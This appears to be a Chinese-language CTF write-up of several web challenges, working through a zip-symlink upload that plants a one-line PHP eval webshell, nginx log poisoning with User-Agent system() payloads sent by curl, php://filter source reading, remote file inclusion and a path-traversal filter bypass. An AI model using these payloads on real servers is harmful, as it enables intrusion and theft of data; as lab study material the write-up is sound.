上周的做的题目的wp#

2023国赛初赛Unzip#

打开题目发现是一个文件上传,试图传一个webshell

上传后跳转到/upload.php

内容如下

1
 <?php
2
error_reporting(0);
3
highlight_file(__FILE__);
4

5
$finfo = finfo_open(FILEINFO_MIME_TYPE);
6
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
7
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
8
};
9

10
//only this!

看到了php的代码,老办法,先逐行翻译

第一行关闭报错第二行展示文件源码

接下来,把finfo_open(FILEINFO_MIME_TYPE)的值赋值给了变量$finfo

查阅资料得知

finfo_open()是一个文件检测函数,检测文件类型,且仅仅检测文件头

FILEINFO_MIME_TYPE是一个PHP预定义的常量,它的值是整数16.

传给finfo_open()函数时来让函数返回值只返回MIME 类型

MIME 类型是是标识文件格式的标准化字符串，由文件内容头部特征决定，格式为主类型/子类型。

比如 image/jpeg application/zip …

接下来

1
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip')

这里做了一个判断,判断上传的文件的MIME 类型是否严格等于’application/zip’

接下来,最重要的是,如果上述成立,执行cd /tmp && unzip -o (你传的文件的名字)

这里让我想到了以前遇到的ping [输入网站]的命令注入但是**,这里的文件名并不可控**

但是，可以使用软链接的方式把webshell解压到网站的目录下

首先，创建一个指向/var/www/html的软链接html_link再把它打包到zip文件里并上传

上传完以后再创建一个压缩包

里面有一个html_link目录，webshell在html_link目录里

上传后就成功拿到webshell。

为什么这样可行呢，因为 unzip 默认遇到软链接目录时，会顺着链接把文件写进链接指向的真实位置，而题目里的 cd /tmp && unzip -o 正好给了我们一次在 /tmp 里先放软链接、再让解压过程顺着软链接把 webshell 写进 /var/www/html 的机会。

webshell内容是

1
<?php @eval($_POST[1]); ?>

改post 1=system('env');

~~打极客大赛打的每次必看环境变量~~

没有发现，那就看根目录

看到flag，直接cat

解出。

ctfshow web应用安全与防护_反弹shell构造#

这道题打开发现是命令执行

😭没有回显！！！

但是可以用 > 来写文件

1
ls > 1.txt

/1.txt直接访问

flag.php 很可疑

1
cat flag.php > 1.txt

直接访问

ctfshow web应用安全与防护_日志注入文件包含#

打开题会发现是一个任意文件包含的界面

可以从404页面看出服务器用的是nginx

nginx日志在/var/log/nginx/access.log

输入后

果然。我们直接控制useragent来执行代码(因为电脑出问题了现在在办公电脑上做题所以没有hackbar，但是！可以curl)

1
curl "https://cfdf4649-9d0d-46f4-877f-655af0975d5d.challenge.ctf.show/" ^  -H "User-Agent: <?php system('env'); ?>"

先看环境变量

但是没有发现flag

1
curl "https://cfdf4649-9d0d-46f4-877f-655af0975d5d.challenge.ctf.show/" ^  -H "User-Agent: <?php system('ls'); ?>"

发现线索

试图读取

1
curl "https://cfdf4649-9d0d-46f4-877f-655af0975d5d.challenge.ctf.show/" ^  -H "User-Agent: <?php system('cat flag.php'); ?>"

CTF{php_access_l0g_lf1_is_fun}

ctfshow web应用安全与防护_php://filter读取源码#

php://filter,这是php的伪协议之一

它不属于真实的文件系统路径，而是 PHP 内部实现的一种“流”，可以在读取或写入文件时，先对数据做一层过滤/转换。

格式为php://filter/read=<过滤器1>|<过滤器2>|…/resource=<目标文件>

参数名	含义
`read=`	读过滤器，可链式叠加
`write=`	写过滤器，可链式叠加
`resource=`	必填，指定要过滤的文件路径（可用绝对/相对路径，甚至 `php://input`等）

过滤器包括

类别	过滤器名	作用
字符串	`string.rot13`	ROT13 变换
字符串	`string.toupper`	转大写
字符串	`string.tolower`	转小写
转换	`convert.base64-encode/decode`	Base64 编解码
转换	`convert.quoted-printable-encode/decode`	QP 编解码
压缩	`zlib.deflate` / `zlib.inflate`	gzip 压缩/解压
加密	`mcrypt.`, `openssl.`	需要扩展，较少见

这里我们使用php://filter/convert.base64-encode/resource=index.php读源码

1
<!DOCTYPE html>
2
<html lang="en">
3
<head>
4
    <meta charset="UTF-8">
5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
    <title>PHP LFI/RFI Code Executor</title>
7
    <style>
8
        body {
9
            font-family: 'Arial', sans-serif;
10
            background: linear-gradient(135deg, #1e3c72, #2a5298);
11
            height: 100vh;
12
            display: flex;
13
            justify-content: center;
14
            align-items: center;
15
            margin: 0;
16
            color: white;
17
        }
18
        .container {
19
            background: rgba(255, 255, 255, 0.1);
20
            backdrop-filter: blur(10px);
21
            border-radius: 10px;
22
            padding: 2rem;
23
            width: 600px;
24
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.2);
25
            text-align: center;
26
        }
27
        .container h2 {
28
            margin-bottom: 1.5rem;
29
        }
30
        .form-group {
31
            margin-bottom: 1rem;
32
            text-align: left;
33
        }
34
        .form-group label {
35
            display: block;
36
            margin-bottom: 0.5rem;
37
            font-weight: bold;
38
        }
39
        .form-group textarea {
40
            width: 100%;
41
            padding: 0.8rem;
42
            border: none;
43
            border-radius: 5px;
44
            background: rgba(255, 255, 255, 0.2);
45
            color: white;
46
            min-height: 200px;
47
            font-family: monospace;
48
        }
49
        .form-group textarea:focus {
50
            outline: none;
51
            background: rgba(255, 255, 255, 0.3);
52
        }
53
        button {
54
            width: 100%;
55
            padding: 0.8rem;
56
            border: none;
57
            border-radius: 5px;
58
            background: #4CAF50;
59
            color: white;
60
            font-weight: bold;
61
            cursor: pointer;
62
            transition: background 0.3s;
63
        }
64
        button:hover {
65
            background: #45a049;
66
        }
67
        .result {
68
            margin-top: 1rem;
69
            padding: 0.8rem;
70
            border-radius: 5px;
71
            background: rgba(0, 0, 0, 0.3);
72
            text-align: left;
73
            white-space: pre-wrap;
74
            font-family: monospace;
75
            min-height: 100px;
76
            max-height: 300px;
77
            overflow-y: auto;
78
        }
79
    </style>
80
</head>
81
<body>
82
    <div class="container">
83
        <h2>PHP LFI/RFI Code Executor</h2>
84
        <form method="POST">
85
            <div class="form-group">
86
                <label for="file">Enter file path:</label>
87
                <textarea id="file" name="file" placeholder=""><?php
88
                    if (isset($_POST['file'])) {
89
                        echo htmlspecialchars($_POST['file']);
90
                    }
91
                ?></textarea>
92
            </div>
93
            <button type="submit">Include file</button>
94
        </form>
95

96
        <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?>
97
            <div class="form-group">
98
                <label>Include Result:</label>
99
                <div class="result"><?php
100
                    include "db.php";
101
                    function validate_file_contents($file) {
102

103
                        if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
104
                            return false;
105
                        }
106
                        return true;
107
                    }
108

109
                    try {
110
                        // Validate input characters
111
                        if (preg_match('/log|nginx|access/', $_POST['file'])) {
112
                            throw new Exception('Invalid input. Please enter a valid file path.');
113
                        }
114

115
                        ob_start();
116
                        echo file_get_contents($_POST['file']);
117
                        $output = ob_get_clean();
118
                        if(!validate_file_contents($output)){
119
                            throw new Exception('Invalid input. Please enter a valid file path.');
120
                        }else{
121
                            echo 'File contents:';
122
                            echo '<br>';
123
                            echo $output;
124
                        }
125

126
                    } catch (Exception $e) {
127
                        echo 'Error: ' . htmlspecialchars($e->getMessage());
128
                    }
129
                ?></div>
130
            </div>
131
        <?php endif; ?>
132
    </div>
133
</body>
134
</html>

include “db.php”;这一行很可疑

试图读取db.php

1
php://filter/read=convert.base64-encode/resource=db.php

解密后

CTF{3ecret_passw0rd_here}

ctfshow web应用安全与防护_远程文件包含（RFI）#

试了一下本地文件，好像不行，

既然是远程文件包含，，

视图用它读取自己blog上面的文件

呀

还真可以

等我写一个php代码来执行，，

1
<?php highlight_file(__FILE__);system('ls'); ?>

(但是后面好像是网的问题，导致所有文件都读取不了了，包括以前可以读的那些，所以没有拿到flag，但是也算是解出了把，应该)

ctfshow web应用安全与防护_路径遍历突破#

读取index.php

1
<!DOCTYPE html>
2
<html lang="zh-CN">
3
<head>
4
<meta charset="UTF-8">
5
<title>CTFshow 文件管理助手</title>
6
<meta name="viewport" content="width=device-width, initial-scale=1.0">
7
<style>
8
body {
9
background: linear-gradient(135deg, #232526 0%, #414345 100%);
10
color: #fff;
11
font-family: 'Fira Mono', 'Consolas', monospace;
12
margin: 0;
13
padding: 0;
14
}
15
.container {
16
max-width: 700px;
17
margin: 40px auto;
18
background: rgba(30, 30, 40, 0.95);
19
border-radius: 18px;
20
box-shadow: 0 0 30px #00ffe7, 0 0 10px #232526;
21
padding: 32px 36px 36px 36px;
22
}
23
h1 {
24
text-align: center;
25
font-size: 2.5em;
26
letter-spacing: 2px;
27
color: #00ffe7;
28
text-shadow: 0 0 10px #00ffe7, 0 0 2px #fff;
29
margin-bottom: 28px;
30
}
31
form {
32
display: flex;
33
gap: 10px;
34
margin-bottom: 22px;
35
}
36
input[type="text"] {
37
flex: 1;
38
padding: 12px;
39
border-radius: 8px;
40
border: none;
41
background: #232526;
42
color: #fff;
43
font-size: 1.1em;
44
outline: none;
45
box-shadow: 0 0 8px #00ffe7 inset;
46
transition: box-shadow 0.2s;
47
}
48
input[type="text"]:focus {
49
box-shadow: 0 0 16px #00ffe7;
50
}
51
button {
52
padding: 12px 28px;
53
border-radius: 8px;
54
border: none;
55
background: linear-gradient(90deg, #00ffe7 0%, #007cf0 100%);
56
color: #232526;
57
font-size: 1.1em;
58
font-weight: bold;
59
cursor: pointer;
60
box-shadow: 0 0 10px #00ffe7;
61
transition: background 0.2s, color 0.2s;
62
}
63
button:hover {
64
background: linear-gradient(90deg, #007cf0 0%, #00ffe7 100%);
65
color: #fff;
66
}
67
.browser-window {
68
background: #18191c;
69
border-radius: 12px;
70
box-shadow: 0 0 16px #00ffe7, 0 0 2px #fff;
71
padding: 0;
72
min-height: 350px;
73
margin-top: 10px;
74
overflow: auto;
75
position: relative;
76
}
77
.browser-bar {
78
background: #232526;
79
border-radius: 12px 12px 0 0;
80
padding: 8px 16px;
81
display: flex;
82
align-items: center;
83
gap: 8px;
84
}
85
.dot {
86
width: 10px;
87
height: 10px;
88
border-radius: 50%;
89
display: inline-block;
90
}
91
.dot.red { background: #ff5f56; }
92
.dot.yellow { background: #ffbd2e; }
93
.dot.green { background: #27c93f; }
94
.browser-content {
95
padding: 18px 22px;
96
color: #fff;
97
min-height: 300px;
98
font-size: 1.08em;
99
font-family: 'Fira Mono', 'Consolas', monospace;
100
word-break: break-all;
101
}
102
.footer {
103
text-align: center;
104
margin-top: 30px;
105
color: #888;
106
font-size: 0.95em;
107
letter-spacing: 1px;
108
}
109
@media (max-width: 800px) {
110
.container { padding: 16px 4vw 24px 4vw; }
111
.browser-content { padding: 10px 4vw; }
112
}
113
</style>
114
<link href="https://fonts.googleapis.com/css?family=Fira+Mono:400,700&display=swap" rel="stylesheet">
115
</head>
116
<body>
117
<div class="container">
118
<h1>CTFshow 文件管理助手</h1>
119
<form method="get" autocomplete="off">
120
<input type="text" name="path" placeholder="请输入要读取的文件名称" value="<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['url']) : ''; ?>">
121
<button type="submit">读取</button>
122
</form>
123
<div class="browser-window">
124
<div class="browser-bar">
125
<span class="dot red"></span>
126
<span class="dot yellow"></span>
127
<span class="dot green"></span>
128
<span style="margin-left: 18px; color: #00ffe7; font-size: 1em;">
129
<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['path']) : 'test.txt'; ?>
130
</span>
131
</div>
132
<div class="browser-content">
133
<?php
134

135
if (isset($_GET['path']) && $_GET['path'] !== '') {
136
$path = $_GET['path'];
137
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
138
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
139
exit;
140
}
141

142
#禁止以/或者../开头的文件名
143
if(preg_match('/^(\.|\/)/', $path)){
144
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
145
exit;
146
}
147

148
echo $path."内容为：\n";
149
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
150
} else {
151
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
152
}
153
?>
154
</div>
155
</div>
156
<div class="footer">
157
<span>⚡ Powered by <a href="https://ctf.show" target="_blank">ctfshow</a></span>
158
</div>
159
</div>

文件读取漏洞，目标是读取 /flag.txt。

但有两个限制：一是路径不能包含 data、log、filter 这类敏感词，二是不能以 . 或 / 开头。

但是正则只检查了开头，没拦路径中间的 ../。

所以只要在前面随便加个字母目录，后面就能正常跳转。

输入框里填a/../../../../../../../../flag.txt。

CTF{file_path_bypass_is_fun}

Here & Now